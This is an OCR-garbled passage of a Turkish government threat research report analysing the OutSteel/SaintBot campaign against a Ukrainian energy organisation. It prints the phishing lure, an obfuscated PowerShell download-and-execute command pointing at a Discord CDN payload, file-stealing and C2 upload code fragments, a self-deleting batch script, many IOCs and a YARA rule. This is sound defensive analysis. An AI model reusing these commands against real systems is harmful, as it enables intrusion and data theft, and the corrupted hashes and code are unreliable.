hash = "4dc13bb83a16d4ff9865a51b3e4d24112327¢526¢1392e14d56f20d6f4eaf382"
strings:
$stringl = "/403forBiden/" wide ascii nocase
$string2 = "/wHiteHousE/" wide ascii
$string3 = "vote_result." wide ascii
$string4 = "partyTicket." wide ascii
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$buildid1 = "Go build ID:
\"gbOH7AdWAYDzfMA1J80B/nJOFF8fupJl4qnE4WvAS/PWkwEIJfKUrRbYNS59_Jba/200VIyvqINFbLsDsFyL2\"" wide ascii
$projectl = "C:/projects/403forBiden/wHiteHousE/" wide ascii
condition:

uint16(0) == 0x5A4D and

(2 of ($string*) or
any of ($buildid*) or
any of ($project®))

}—

6.4 Tedbir

[5] Olay miidahalesi plani

[6] Yama yonetimi

[7] Giivenlik Duvarlari

[8] Saldir tespit veya dnleme sistemleri (IDS / IPS)
[9] Endpoint detection and response (EDR)
[11] Calistirma 6nleme (Execution Prevention)
[12] Antivirus/Antimalware

[13] Kod Imzalama

[16] Boot biitiinligi

[17] Ug noktada davranis 6nleme

[18] Ag Sizma Onleme

[21] Kay1t defteri izinlerinin sinirlanmasi

[22] Denetim

[23] Isletim sistemi konfigiirasyonu

[24] Dosya ve dizin izinlerininin kisitlanmasi

Alinabilecek
Onlemler

TASNIF DISI
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BILGEM

7  OutSteel/SaintBot

1 Subat 2022 tarihinde Ukrayna’da bir enerji kurumuna yonelik siber saldiri tespit edilmistir. CERT-UA
tarafindan bu saldirinin aktérlerinin UAC-0056 adli APT grubu oldugu iddia edilmistir. Saldirida kurumun bir
calisanina spear phishing yontemi ile e-posta iletildigi goriilmistiir. Bu e-posta iletisinin igeriginde bir word dosyasi
bulunmaktadir. Bu word dosyasi, OutSteel adli belge hirsiz1 zararli yazilimi ve SaintBot zararlisini indirip kuran
zararli bir javaScript dosyas1 icermektedir.

OutSteel zararli yazilimi belge hirsizlig1 i¢in kullanilan basit bottur. Sistemde hassas veri icerebilecek dosyalar1 dosya
tiplerine gore arayarak bunlari bir uzak sunucuya yiiklemektedir. Bu zararlinin kullanimi, aktorlerin kritik altyapilarla
iliskili devlet kurumlarina ve sirketlere yonelik bilgi toplama amacinda olduklarimi géstermektedir. SaintBot zararlisi
viriisli sisteme aktorler tarafindan ek araglarin indirilip kurulmasina imkan saglayan bir indirme yazilimidir.
SaintBot, aktorlere kalici erisim imkani sagladig: gibi ayrica sistem lizerindeki kabiliyetlerini daha da arttirir.

Hedef alinan ¢alisana gonderilen e-posta iletisinin i¢erigi su sekildedir:
Kimden: mariaparsons10811 @ gmail[.]Jcom
Konu: IToBinomnenns npo BunHeHHs 3nounHy (<Hedef alinan ¢alisanin ismi>)
Ek: [ToBimomneHnHs npo BunHeHHs 31m04nHy (<Hedef alinan ¢alisanin ismi>).docx

E-posta iletisinin konu ve ek basliklar1 “Sug Thbar1” olarak cevirilebilir. Oltalama iletisinin, hedef alinan sahsa bir sug
isledigini diisiindiirmesi ve iletiye eklenen zararli dosya ile etkilesime ge¢mesini amagladig goriilmektedir. Zararl
Word dosyasinin igerigi Sekil 11°de goriilebilir.

JLOKYMEHT 3aceKpeveHHH 3 MeTOI De3NeKH o/iepKyBava

[ ! ] JL7151 RUTODPAKEeHHS TeKCTY HATHCHITL HA m

HAIIIOHAJIBHA ITOJIILIA
YKPATHHU
I'OJIOBHE CJIAYE YITPABJIHHA

ByA. Boromonsug, 10, m.Kuis, 01601,
Ten. 253-13-31, gsu207@police.gov.ua
IaeHTHdikayifiHmid kop 24182205

1 nwororo 2022 pory  Ne 0222 /548/50

[Ipo nopyuieHHA KPUMiHAJBHOL CIPaBH

T.B.0. 33CTYMHMKa HAYANbHHKa

Sekil 11 Zararli Word Dosyasinin Igerigi [5]

Bu dosyanin igerigi de oltalama e-postasinin temasina uymaktadir. Hedef alinan ¢alisana bu raporun Ukrayna Ulusal
Polisi tarafindan hazirlanan bir sug¢ sorusturma raporu oldugu izlenimi verilmistir. Dokiiman kullaniciya {inlem isaretli
ikonlara tiklayarak dosya igerisindeki siyah ile gizlenmis yénlendirilmis igerigi goriintiilemesi talimatin1 vermektedir.
Kullanic1 ikonlara tikladiginda Word dosyast sisteme bir dosya yazilmakta ve yazilan zararli dosya Windows Script
Host (wscript) ile ¢aligtirilmaktadir.
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CA\Users\ADMINI~INAppData\Local\Temp\GSU207 @ POLICE.GOV.UA - [logioomnenus (15).js

JavaScript dosyasi1 bir PowerShell script’ini ¢alistiran iglemi baglatir.

powershell.exe [NeT.seRvIcepOiNtmanAgER]::sECURITyPROToCOL =
[neT.SEcurITypRotOcoLType] ::Tlsl2 ; Irm -uRI (”https://c” +
"dn.discordapp[.]com/attachme” +
"nts/932413459872747544/93829197773526634” + "4/p” + "utty.ex” + "e” )

1

-outfilE ”$enV:PuBLI ogleChromeUpdate.exe” ; sTArt-pRoceS
”5eNV:pUBLIcGoogleChromeUpdate.exe”

Sekil 12 Powershell komutu

w0

Sekildeki betik belirtilen URL’den bir ¢alistiralabilir dosya indirmekte, bunu

“04,PUBLIC%\GoogleChromeUpdate.exe” olarak kaydedip calistirmaktadir. Aktdrler Discord adli platformun Icerik
Teslim Ag1 (Content Delivery Network) iizerinde zararlt paylodlar1 barindirmaktadir. Bu teknik tehdit gruplar1 arasinda
oldukga sik kullanilmaktadir. Bunun nedeni Discord sunucularinin oyun, topluluk gruplar1 ve diger mesru kullanimlari ile
bilinmesinden &tiirti URL filtreleme sistemlerinin bu domain adresine giivenmesidir.

Dokiiman igerisindeki JavaScript ile indirilen calistirilabilir dosyanin “organization” alaninda “Electrum Technologies
GmbH” yazmaktadir ve gelistiricileri tarafindan bir sertifika ile imzalanmigtir. Bu ¢aligtirabilir dosya bir Initial Loader
Trojan’dir.

Certificate:
Data:
Version: 3 (0x2)
Serial Number:
3b:11:e7:6e:da:51:82:ce:c2:d4:e7:2d:8¢:05:16:9a
Signature Algorithm: sha256 WithRSAEncryption
Issuer: C=US, O=thawte, Inc., CN=thawte SHA256 Code Signing CA - G2
Validity
Not Before: May 8 00:00:00 2020 GMT
Not After : May 8 23:59:59 2022 GMT
Subject: C=DE, ST=Berlin, L=Berlin, O=Electrum Technologies GmbH, CN=Electrum Technologies GmbH

Zararli igerik olarak sifrelenmis ve karistirilmis “.dll” dosylaasi igermektedir. Sanal ortamda ¢alistirmay1 engelleme
gibi bazi anti-analiz 6nlemleri alindig1 da goriilmistiir. Ayrica zararl iceriginde Outsteel ve Saintbot dahil olmak
iizere Windows Defender’t ve Google Chrome installer’t devre dis1 birakan c¢alistirilabilir bir betik barindig: tespit
edilmistir.

SHA256 Tanim
7e3c54abfbb2abf2025ccf05674dd10240678e5ada465bb0c04a9109fe46e7ec | OutSteel AutolT dosya yiikleyici
0dalf48eaa7956dda58fal0af106af440adb9e684228715d313bb0d66d7cc21d | PureBasic Calistirilabilir Dosya,
Windows Defender’1 devre dig1 birakmak
igin.
0f9t31bbc69c8174b492cf177c2fbaf627fcdbSac4473ca5589%aa2be75cee735 Google Chrome Installer.
82d2779e90cbc9078aa70d7dc6957£f0d6d06c127701¢c820971c9¢c572ba3058e | SaintBot .NET Loader.

7.1  Outsteel

Outsteel, AutolT script dili ile gelistirilen bir dosya yiikleyici ve dosya hirsizlig1 yazilimidir. Buldugu
dosyalar1 bir C2 sunucusuna yiiklemeden once ilk olarak isleme spesifik uzantilara sahip dosyalar1 disk icerisinde
arayarak baslar. Bu 6rnekte, zararli “185.244.41.109:8080 adresine ve “/upld/” dizinine erismektedir.

TASNIF DISI



’ TUBITAK Bilisim ve Bilgi Giivenlidi Ileri Teknolojiler Arastirma Merkezi
: Siber Guvenlik Enstitisi
BILGEM Rusya-Ukrayna Siber Savas Tehdit Arastirma Raporu

P {11 1} 1 S—

omeDrive Then

= {@HomePath
)
1 To $dsks[o]
= ($dsks[$drv]
$areturnfe]
_new = St ($areturn[$i], ":
= ($name_new, "\ £)
($url & $uuid, $areturn[$i] ($name_new), {$name_new) )

Sekil 13 OutSteel Dosya Arama Déngiisii [5]

Arama islemi 6rnekteki gibi CMD komutlart ile gergeklestirilir.
cmd.exe /U /C DIR “\Users\Admin\*.docx” /S /B/ A

Hedef alinan dosya uzantilari:
.doc, .ppt, xls, .rtf, .accdb, .pst, .zip, .txt, .docx, .pptx, .xlsx, .pot, .ppa, .tar, .pdf, .dot, .csv, .mdb, .pps, .rar,
1z

Hedef alinan dosya uzantilar1 incelendiginde zararlinin hassas veri i¢eren dosyalari aradigi anlagilmaktadir. Komutun
¢iktist AutolP payloadi tarafindan okunmakta ve her dosya HTTP.au3 kiitiiphanesi kullanilarak C2 sunucusuna
yiklenmektedir.

Betik biitiin ilgili dosyalar1 C2 sunucusuna yiikleme islemini bitirdikten sonra “%TEMP%\svjhost.exe” igerisine bir
diger C2 adresinden SaintBot .NET loader dosyasini indirmektedir. Bu dosya da SHCore2 DLL dosyasindan
cikarilmistir ve basarili bir gekilde indirildigi takdirde komut satir1 kullanilarak ¢alistirilir.

Local $path_dwnl = @TempDir & "\\
Local $h_dwnl = ($url_dwnl, $p
Do

xe
_dwnl, $inet_forcereload, $inet_downloadbackground)
leep(250)
Until ($h_dwnl, $inet_downloadcomplete)
t ($h_dwnl)
("emd /c start : $path_dwnl, "", @SW_HIDE)
$hfile = (
($hfile,
($hfile,
($hfile
($hfile,
($hfile,
($hfile)
("cmd /fc start /min rmm.bat", "", @SW_HIDE)

Sekil 14. SaintBot'un Indirilmesi Ve rmm.bat'in Calisturilmast [5]

Betik bulundugu dizin igerisinde rmm.bat dosyasini olusturduktan sonra galismay1 sonlandirmadan 6nce ¢aligsmakta
olan cmd.exe iglemlerini sonlandirmakta, kendisini ve orijinal zararli payload: silmektedir.

@echo off
ctryremvvv
del f58c41d83cBf1c1e8c1c3bd99abbédeabbl4a763b54a3c5f1e821210cB536c3ff.exe

if exist f58c41d83cBflcleBcl1c3bd99abbdeabb14a763b54a3¢c5f1e821210c0536c3ff.exe (goto tryremvvv)
start /b "" emd /min /c del "%~f8"& Taskkill /IM cmd.exe /F&exit /b

Sekil 15 rmm.bat Igerigi [5]

Bu noktada AutolT script’i sonlanmakta, geriye bellek i¢erisindeki SaintBot kalmaktadir. SaintBot Loader ve Payload
olmak tizere iki ana bilesenden olusmaktadir.

Loader bileseni, SaintBot icerisinde bulunan reversed .NET binary dosyasini ¢ikarilmasi igin kullanilmaktadir.
Zararli, sandbox tespiti ile kendisini ¢alistirmamak tizere bulundugu konumda Sbiedll.dll modiiliinin yiiklii modiil
listesindeki varligini, makine adinin HAL9TH ve kullanici adinin JohnDoe olup olmadigini kontrol etmektedir.
Zararlinin ~ yapmakta oldugu kontroller basarili ise, payload, “slideshow.mp4” adli  dosyay1
“%LOCALAPPDATA%\zz%USERNAME%” dosya yolunda arayacaktir. Burada aranmakta olan “slideshow.mp4”
dosyast “ntdll.dll” dosyasinin kopyasidir. Dosya bulunamamasit durumunda, kurulum adimima gegerek
““%LOCALAPPDATA%” altinda “zz%USERNAME%” dizinini olusturmaktadir. Ardindan, “ntdll.dll” dosyasini
olusturulan dizine “slideshow.mp4” olarak kopyalamaktadir. Bu islem sistem API ¢agrilarin1 gergeklestirmek ve
EDR/Antiviriis araglarint atlatmak i¢in yapilmaktadir. Kurulum tamamlandiktan sonra payload kendisini
calistirmaktadir. Process Migration ve Registry iizerinde yapilan degisiklikler sistemde kaliciliga olanak
saglamaktadir ve C2 (Komut Kontrol Sunucusu) ile iletisimi baslatmaktadir.

Bu zararli C2 sunucularindan 6 komut alabilmektedir.
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BILGEM Rusya-Ukrayna Siber Savas Tehdit Arastirma Raporu
de Bir exe veya dii’i cmd.exe araciligiyla regsvr32 kullanarak
de:regsvr32 calistirir.
de:LoadMemory dfrgui.exe’nin kopyasini olusturur ve indirilen zararliy1
process igerisine enjekte eder.
de:LL dll indirir ve LdrLoadDII() ile bellege yiikler.
update SaintBot’u giinceller.
uninstall Makineden SaintBot’u kaldirir.

7.2 10C Bilgileri

Dosya KKveTTgaAAsecNNaaaa.mips, a2bld5g2e5t8vc.elf
Isimleri

IP Adresleri § 185.244.41.109
194.147.142.232
31.42.185.63
45.146.164.37
45.146.165.91

Hash 07ed980373c344fd37d7bdf294636d{f796523721c883d48bb518b2e98774f2c

Degerleri
Obe1801a6c5cad73e2563b6b77¢76167d88828e1347db4215b7a83el61dae67f
0db336cab2ca69d630d6b7676e5eab86252673b1197b34cf4e3351807229f12a
0f13£5f9a53a78fc4£528e352cd949292ae802873374ffb9ac6al6652bd9eadcs
101d9f3a9e4a8d0c8d80bcd40082e10ab71a7d45a04ab443ef8761dfad246cas
1092d367692045995fab78balb9b236d5b99d817dd09cba69fd3834e45bd3ddf
10d21d4bf93e78a059a32b0210bd7891e349aabe88d0184d162c104ble8bee2e
14bdel1c50a2df2401831fea50760dd6cf9a492a3a98753ab3b1c6ce4d079196
157b05db61aaf171823c7897a2f931d96a62083a3ad6014cb41c6b42694a0c2f
172£12c692611e928e4ea42b883b90147888b54a8fb858fc97140b82eef4091f3
275388ffad3a1046087068a296a6060ed372d5d4efocf174f55¢c3bdec7e8alel
276ac9b9fe682d76382ec6e5bc3d1d045¢ce937438f92949¢23453468eb62a143
2b15ade9de6b993149f27¢802bbSbc95ad3fclcas52e86622a044cf3541a70d
2c879f5d97£126820f1bf575df7e681c90f027062b6bcb3451bb09607c922da
2ec710d38a09199f472b220cfe8d554a30d24bfadbdd90b96105cee842cf40d
33a4655fd61e471d8956bc7681ee5629926da91df3583b79e80cb26al4e45548
35180c81ebcefbe32c2442c683cab6fd299af797a0493d38589d5¢5d1d6b5313

354868cd615a0377e0028bcaee422c29f6b6088b83a0b37a32e00cce5dba43f9

434d39bfbcee378ed62a02aad0acc6507aa00b2a3cb0bf356c0b23cc9eebed77
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461eeadbel 18b5ad64a62f2991a8bd66bdcd3dd1808cd7070871e7cc02effad7
4fcfe7718ea860ab5c6d19b27811f81683576e7bb60da3db85b4658230414b70
52173598ca2f4a023ec193261b0£65£57d9be3cb448cdbe2fccOc8f3f15eaaf7
5227adda2d80fb9b66110eeb26d57e69bbbb7bd681aecc3ble882dc15e06bel7
Scda471f91413a31d3bc0e05176c4eb9180dfcac3695b83edd6asSd4bS44fe3f1
5d8c5bb9858tb51271d344eac586cf3f440c074254£165¢23dd87b985b2110b
5d9¢7192cae28f4b6cc0463efe8f4361e449f87c2ad5e74a6192a0ad96525417
5dabf2e0fcc2366d512eda2a37d73f4d6¢c381aaScb8e35e9ce7t53dae1065e4a
63d7b35¢a907673634ea66e73d6a38486b0b043£3d511ec2d2209597c7898ae8
64057982a5874a9ccdb1b53fc15dd40f298eda2eb38324ac676329f5¢81b64e0
677500881c644789025f46£3d0e853c002f41216eb2f2aaala6c59884b04cc
68313c90ca8eb0d5fcS5e63e2b0f7a5f4d1fel 5825fe8calb4b3e922a253caa’
84e651b2d55a75ec59b861b11a8f8f7cb155ed81604081c95dd11b8aecSb31b1
882597¢251905f9be31352ba034835764124c9a9%e25ef1ba0150e5998c621f07
891£526fea4d9490a8899ce895ce86af102a09a50b40507645feeOcf2abSbefs
8bb427b4f80felede3e3ed452d9f0adce202b77cdadad2d54968ab43578e9fa9
8c8ef518239308216d06b4bf9b2771dbb70759¢cb1c9e6327alcd045444f2b69a
90ce65b0b91df898de16aa652d7603566748ac32857972f7d568925821764e17
92af444e0e9e4e49deda3b7e5724aaecbb7baf888b6399ec15032df31978f4ct
96£815abb422bb75117e867384306a3f1b3625¢48b81c44ebf032953deb2b3ff
9803e65afa5b8eefOb6f7ced42ebd15f979889b791b8eadfc98e71102853451a
al6e466bed46fcf9c0a771cale41bcd2alac13e66717354e4824f61d1695dbb1
a356be890d2{48789b46cd1d393a838be10bdea79f12a10bladf1d78178343c5
a60f4a353ea89adc8def453c8aleb5ea2ecc46c64d0d9ea3d75cade85e1c428fd
b7c6b82a8074737fb35adccddf63abeca71573fe759bd6937cd36af5658af864
b89a71c9dbc9492ecb9debb38987ab25a9f1d9c41c6fbe33e67cac055¢2664be

c9761130956f5balac9abc8b000eac8686158d05238d9e156f42dd5c17520296
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d99f998207c38fe3ab98b0840707227af4d96c1980a5¢c2{89ac7062fab0596d
dfe11b83da7c4dc02{t7675d086£f7ddd97fec71c62cc96f1a391£574becobaf
€39a12f34bb8a7a5a03fd23f351846088692e1248a3952e488102d3aea577644
f0d99b7056dac946af19b50e27855b89f00550d3d8dc420a28731814a039d052
f69125eafdd54elaae10707e0d95b0526e80b3b224{2b6415f6d65485ca9e886
f6éae1d54de68b48ba8bd5262233edaec6669c18f05f986764cf9873ce3247166
fbe13003a4e39a5dea3648ee906ea7b86ed121fd3136f15678cf1597d216¢c58a
005d2d373e7ba5ee42010870b9f9b£829213a42b2dd3c4£3f4405c8b90464 12
0222f6bdfd21c41650bcb0561618ee9e4724e722b3abcd8731b92a99167c6f8d
0c644fedcb4298b705d24f2dee45dda0ae5dd6322d1607e342bcf1d42b59436¢
0e1e2f87699a24d1d7b0d984¢3622971028a0cafaf665c791c70215f76¢7c8fe
0f7a8611deea696b2b36e44ea652c8979¢296b623e841796a4ea4b6916b39e7c
0fc7154ebd80ea5d81d82e3a4920cb2699a8dd7¢c31100ca8ec0693a7bd4af8b7
137fc4df5f5cad2c88460314e13878264cc90d25f26b105bb057f6bfdcadcbf2
17¢3cf5742d2a0995afb4dd2a2d711abe5de346abde49cf4ct5b82c14e0alS5f
187e0a02620b7775c2a8f88d5b27e80b5d419ad156afc50ef217a95547d0feaa
18£24841651461bd84a5eac08be9bce9eab54b133b0e837d5298dac44e199d5f
1alfe7b6455153152037668d47c7c42a068b334b91949739ed93256d5e3fbd89
1e6596320a3fa48d8c13609266e639b35fb1e9caae378552956aa9659809162b
2762cbc8105634812816de01e93d43398ba65354252c97928a56031e32ec776f
27868ae50b849506121c36b00d92afe3115ce2f041cc28476db8dfcOcc1d6908
2bef4a398a88749828afac59b773ae8b3 1c8e4e5b499aadS516dd39adalalleca
2d9d61ce6c01329808db1cad466c1c5fbf405e4e869ed04c59f0e45d7ad12£25b
3075a467¢89643d1{37¢9413a2b38328fbec4dd1717ae57128fdf1da2fe39819
320d091b3f8de8688ce3b45cddab4ad51eabc22dal feea60fe3 1101eb6f0f6c2
37be3d8810959e63d5b6535164e51f16¢cceadcal 1d7dab7cldfaa335affe6e3d

39e8455d21447e32141dc064eb7504c6925t823bf6d9c8ce004d44cb8facc80b
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3d7a05e7ba9b3dd84017acab9aab59b459db6c50e9224ec1827cbf0a2aeed 7db
3£7b0d15f4cbe63e57fb06b57575bf6dd9eb777c¢737b0886250166768169fc6c
4715a5009de403edd2dd480ct5c¢78531ee93738112e69e0fb265b2e9{81f15¢c4
494122f204f3dedaa8f0027f9f98971b32c50acbccedefa8de0498efal48365
4c8a433ed99cc4b6994b2e1df59eb171£326373bal00a3653eb37e8a8ee2e6f2
4d59a7739f15¢17£144587762447d5abb81c01f16224a3f7ce5897d1b6f7ee77
4ee84419169267081480954f1be176095a45£e299078dfa95f980e513b46a020
4£dc3759801976606849882095992efecee0931ece77d74015113123643796¢
506c90747976c4cc3296a4a8b85f388ab97b6c1cfael 10969597764 1b8f8b6f
56731c777896837782beff4432330486a941e4f3af44b4d24be7c62c¢16e€96256
5fc108db5114be4174cb9365£86a17e25164a05cc1e90ef9ee29ab30abed3al3
619393d5caf08cf12e3e447e71b139a064978216122e40f769ac8838a7edfcad
61f5e96ec124fef0c11d8152ee7c6441da0ea954534ace3f5t5ec631dd4f1196
62698edb36625f156e4b481639903d816c5£5525668f65e2c097ef682afc269
6ee2fd3994acdbb9alb1680ccd3ac4b7dcb077b30b44c8677252202a03dcct79
700b05fede8afe3573b6fec81452d4b09¢29adb003cdacb762c8b53d84709901
707971879e65cbd70fd371ae76767d3a7bff028b56204ca64£27¢93609c8c473
71e9¢c55f159f2cec96de4f15b3c94c2b076f97d5d8cecb60b8857e7a8113a35
7419f0798c70888e7197f69ed1091620b2c6fbefead086bSfaf23badf0474044
750c447d6e3c7d74ccab736a0082ef437b1cd2000d761d3aff2b73227457b29¢
75t728fa692347e096386acd19a5da9b02dca372b66918be7171c522d9c6b42d
7963f8606e4c0e7502a813969a04e1266e7cd20708bef19¢c338e8933c1b85eda
7b3d377ca2{619ea48265a80355fe6dc622a9b4b43855a9ddec7ebSe4666ald4
7d7d929df8b8ffd0a0c652a3d41b9a5352efb19424e42942aaf26196c9698019
7e1355e51eb9c38e006368de1ae80b268{fab6918237696474f50802e3d8a9c8
7eb1dc1719f0918828cc8349ee56caSebbbde7cada3dbe67al 1d71f7f420c7871

Tee8cfde9edcT718af6783ddd8341d63c4919851ba6418b599b2f3c2ac8d70a32
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82d2779e90cbc9078aa70d7dc69571f0d6d06c127701c820971c9c572ba3058e
89da%a4a5c26b7818e5660b33941b45c8838fa7cfal5685adfe83£f84463799a
8ab3879ed4b1601feb0del1637c9c4d1baeb5266£399d822f565299¢5¢1cd0c4
9528a97d8d73b0dbed2ac496991f0a2eecc5a857d22e994d227ae7c3bef7296f
97519ce07692079¢99f06870122e9c4d394dfd51a60208 18feeef9ccdb8b0614
9917¢962b7e0a36592c4740d193adbd31bcleae748d2b441e77817d648487 cff
9a72e56ac0f1badd3ca761b53e€9998a7e¢0525f2055dbec01d867{62bdb30418e
9cf4b83688dd5035623182d6a895c61ele71ea02dc3e474111810f6641df1d69
9d7¢3463d4a4£4390313c214c7a79042b4525ae639¢151b5ec8a560b0dd5bd0a
9ec80626504ca869f5e731aef720e446936333aatbab32bae03c0de3c229934
9eela587acaddb45481aebd5778a6c293£e94£70fe89b4961098eb7ba32624a8
9ef2d114¢329¢c169e7b62£89a02d3£7395cb487fcd6cff4e7cacleb198407bab
9fbeb629ea0dc72ac8db680855984d51b28c1195e48abff2e68b0228f49d5bOf
a61725f3b57fd45487688ad06f152d0db139a6cb29f3515ea90ftfe15cb7e9a7a
a9a89bb76c6f06277b729bc2deSelaaef05fc0d9675edbc0895¢c7591c35f17eb
afdc010fc134b0b4a8b8788d084c6b0cff9ea255d84032571e038f1a29b56d0a
b02c420e6f8a977cd254cd69281a7e8ce8026bda3fc594e1fc550c3b5e41565d
b0b0cb50456a989114468733428ca9¢f8096b18bce256634811ddf812119274
b0b4550ba09080e02c8alScec8bSacaa9fbbl93cec1d92c¢793bdede78a70cectd
blaf67bcfaa99c369960580f86¢e7c1a42fc473dd85a0a4d3b1c989abbc138a42
b2f5edef0e599005e205443b20f6ffd980468 1b260eec52fa2f7533622f46a6¢
b6e34665dd0d045c2c79bf3148f34da0b877514a6b083b7c8c7e2577362463b3
b72188ba545ad865eb34954afbbdf2c9e8ebcd65a87¢5122cebb711f41005939
b83c41763b5e861e15614d3d6ab8573c7948bf176143ee4142516e9b8bcb4423
b8ce958f56087c6ecd55fa2131alcd3256063e7c73adf36af313054b0f17b7b43
bd83e801b836906bab4854351b4d6000e0a435736524a504b9839b5£7bdf97cc

c222122fe3e1206ba2363c17fb37ae2f8e271840e17b3bb9ba5359f2793f9574
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¢33a905e513005cee9071ed10933b8ebal 1be2335755660e3f7b2adf554f704a
¢532d19652ea6d4e0ebb509766delec594dd80152192f7ef6b80ad29d2aa8ct4
c6¢c47d3d7e56213f0d0ced379c64e166ed5a86308ea96856163a4e0155blfcoe
cb4a93864a19fc14c1e5221912£8e7f409b5b8d835f1b3acc3712b80e4a909f1
cb6c05b2e9d8e3c384b7eabacde32fc3ac2f9663c63b9908e876712582bf2293
cce564eb25a80549d746¢180832d0b3d45dcd4419d9454470bfd7517868d0e10
cd93f6df63187e3ac31ea56339f9b859b0f4tbe3e73e1c07192cef4c9a6f8b08
d4d4aa7d621379645d28f3a16b3ba41b971216869t5448ea5c1fc2e78cfecb26
d6e2a79bc87d48819fabe332dd3539f572605bb6091d34ae7d25ae0934b606bS
db8975fd6c04a7d3790eb73ab8e95b6dbf6c9d65adS5c6a6d3c862d0284£87¢34
df3blad5445d628c24c1308aa6cb476bd9a06f0095a2b285927964339866b2c3
dfc24fa837b6cd3210e7ea0802db3dcf7bb1{85bff2c1b4bdadc3c599821bf8c
€0c46e23bd1b5b96123e0c64914484bbfae7a7ad13cbd45184035d4c0f8al0a2
e8207e8c31a8613112223d126d4f12e7a5f8caf4acaaf40834302ce49f37cc9c
€9a858127£5f6e5e0e94ed655a2bf9ed228f87bc99d9b12113e27dcc84be3909
ebbf30e06de3a25f76cf43c72c521d14a27053e4d9be566b41£50c4 1bea3a7a9
ec3cOafccfef]1£753a408c859d98bbba4841e87f7f1a48573270c0d82252b03
€c62c984941954f0eb4f3e8baee455410a9dc0deb222360d376e28981c53b1a0
ec8868287e3f0f851ff7a2b0e7352055b591a2b2cb1c2a76c¢53885dee66562dc
f24ee966ef2dd31204b900b5c7eb7e367bc18{f92a13422d800c25dbb1de1e99
f2bdde99f9f6db249f4f0cb1fb8208198acS5bf55976a94f6alcebfb0d6c30551
f4a56c86e2903d509ede20609182fbe001b3a3ca05f8c23c597189935d4£71b8
£58c41d83c0flcle8clc3bd99abbdeabbl4a763b54a3c5£1€821210c0536¢31f
falbc7d6£03a49af50f7153814a078a32f24f353c9cb2b8e3f329888f2b37a6e
fad2e8293cf38eec695b1b5c012e187999bd94fbcad91d8f110605a9709¢31b3
ff07325t5454c46e883fefc7106829f75c27e3aaf312eb3ab50525fabaS1c23c

ffad5217eb782aced4ab2c746b49891b496e1b90331ca24186£8349a5fa71a28

URL 1000018[.]xyz/soft-2/280421-z1z.exe
1000018[.]xyz/soft/220421.exe
1000020[.]1xyz/soft/230421.exe
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1221[.]site/15858415841/0407 .exe

1221].]site/1806.exe

15052021[.]space/2405.exe

150520212[.]space/0404.exe

185.244.41[.]1109:8080/upld/

1924[.]site/soft/09042021.exe

194.147.142[.]232:8080/upld/

194.147.142[.]1232:8080/upld/

2215[.]site/240721-1.msi

31.42.185[.]163:8080/upld/

32689657[.]xyz/putty5482.exe

32689658[.]xyz/putty5410.exe

45.146.164[.]37:8080/upld/

45.146.165[.]191:8080/upld/

68468438438[.]xyz/soft/win230321.exe

8003659902].]space/wp-adm/gate.php

baidenOO[.]ru/def.bat

baidenOO[.Jru/win21st.txt

baidenOO[.]ru/wininst.exe

bit[.]ly/36fee98

bit[.]ly/3gpy7Co
cdn.discordappl.]com/attachments/853604584806285335/854020189522755604/1406.exe
cdn.discordappl.]com/attachments/908281957039869965/908282786216017990/AdobeAcrobatUpdate.
msi
cdn.discordappl.]com/attachments/908281957039869965/908310733488525382/Adobe AcrobatUpdate.
exe
cdn.discordappl.]Jcom/attachments/908281957039869965/911202801416282172/AdobeAcrobatReader
Update.exe
cdn.discordappl.]Jcom/attachments/908281957039869965/911383724971683862/21279102.exe
cdn.discordappl.]Jcom/attachments/932413459872747544/932976938195238952/loader.exe
cdn.discordappl.]Jcom/attachments/932413459872747544/938291977735266344/putty.exe
eumr|.]site/load4849kd30.exe

eumr].]site/load74h74830.exe

eumr].]site/up74987340.exe

main21[.]xyz/adm2021/gate.php

mohge[.]xyz/install.exe

nameld[.]site/123/index.exe

nameld][.]site/def02.bat

name4050[.]Jcom:8080/upld/9C9C2F98

orpod[.]ru/def.exe

orpod[.]Jru/putty.exe

smm?2021[.]net/load2022.exe

smm?2021[.]net/upload/antidef.bat

smm2021[.]net/upload/Nvlaq.jpeg

smm2021[.]net/wp-adm/gate.php

stun[.]site/42348728347829.exe

update-0019992].]ru/testcp1/gate.php

update0019992].]ru/exe/update-22.exe

update0019992[.Jru/gate.php

update3d[.]xyz/

webleads[.]pro/public/readerdc_ua_install.exe

www.baiden00][. Jru/win21st.txt

www.update0019992[.Jru/exe/update-22.exe
cdn.discordapp[.]com/attachments/908281957039869965/908310733488525382/Adobe AcrobatUpdate.
exe

cutt[.]ly/1bR6rsQ

mohge|.]xyz/install.exe

mohgel.]xyz/install.txt

stun].]site/zepok101.exe

superiortermpapers|[.Jorg/public/WindowsDefender-UA.exe

Domainler [ 000000027[.]xyz
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001000100[.]xyz=
1000018[.]xyz
1000020[.]xyz
1020[.]site
1221][.]site
15052021[.]space
150520212 .]space
1833[.]site
1924[.]site
2055[.]site
2215[.]site
2330[.]site
3237[.]site
32689657[.]xyz
32689658[.]xyz
68468438438].]xyz
8003659902].]site
8003659902[.]space
9348243249382479234343284324023432748892349702394023[.]xyz
baidenOO[.]ru
buking].]site
coronavirus5g[.]site
eumr].]site
main21[.]Jxyz
mohge|.]xyz
nameld].]site
name4050[.]Jcom
orpod[.]Jru
smm?2021][.]net
stun[.]site
update-0019992[.]Jru
update0019992].]ru
update3d[.]xyz
www.baiden00][.]ru
www.lywdm][.]com
www.update0019992[.]ru

7.3 Tedbir

[1] Makro komut dosyalarinin devre dis1 birakilmasi
[2] Spam filtreleme

[3] Oltalama saldirilarina karsi olarak galiganlara egitim verilmesi
[5] Olay miidahalesi plant

[6] Yama yonetimi

[7] Glivenlik Duvarlari

[8] Saldir tespit veya 6nleme sistemleri (IDS / IPS)
[9] Endpoint detection and response (EDR)

[11] Calistirma 6nleme (Execution Prevention)

[12] Antivirus/Antimalware

[13] Kod Imzalama

[17] Ug noktada davranig 6nleme

[18] Ag Sizma Onleme

[21] Kay1t defteri izinlerinin sinirlanmasi

[22] Denetim

[23] Isletim sistemi konfigiirasyonu

[24] Dosya ve dizin izinlerininin kisitlanmasi

8 DDOS Saldirilan

Rusya ve Ukrayna arasinda yakin zamanda meydana gelen gerilim, saldirgan gruplarin taraflara ait kritik
altyapilara yonelik (askeri, finansal enstitiiiler, hiikiimet odaklari gibi) DDOS saldirilarinin yogunlasmasina neden
olmustur. Yapilan arastirmalar incelendiginde, 360NetLab verilerine gére 12 Subat tarihinden itibaren saldirtlarin
yogunlugunun ve boyutunun arttigt, 16 Subat tarihinde ise NTP amplifikasyon ve UDP/STD/OVH Flood saldirilarinin
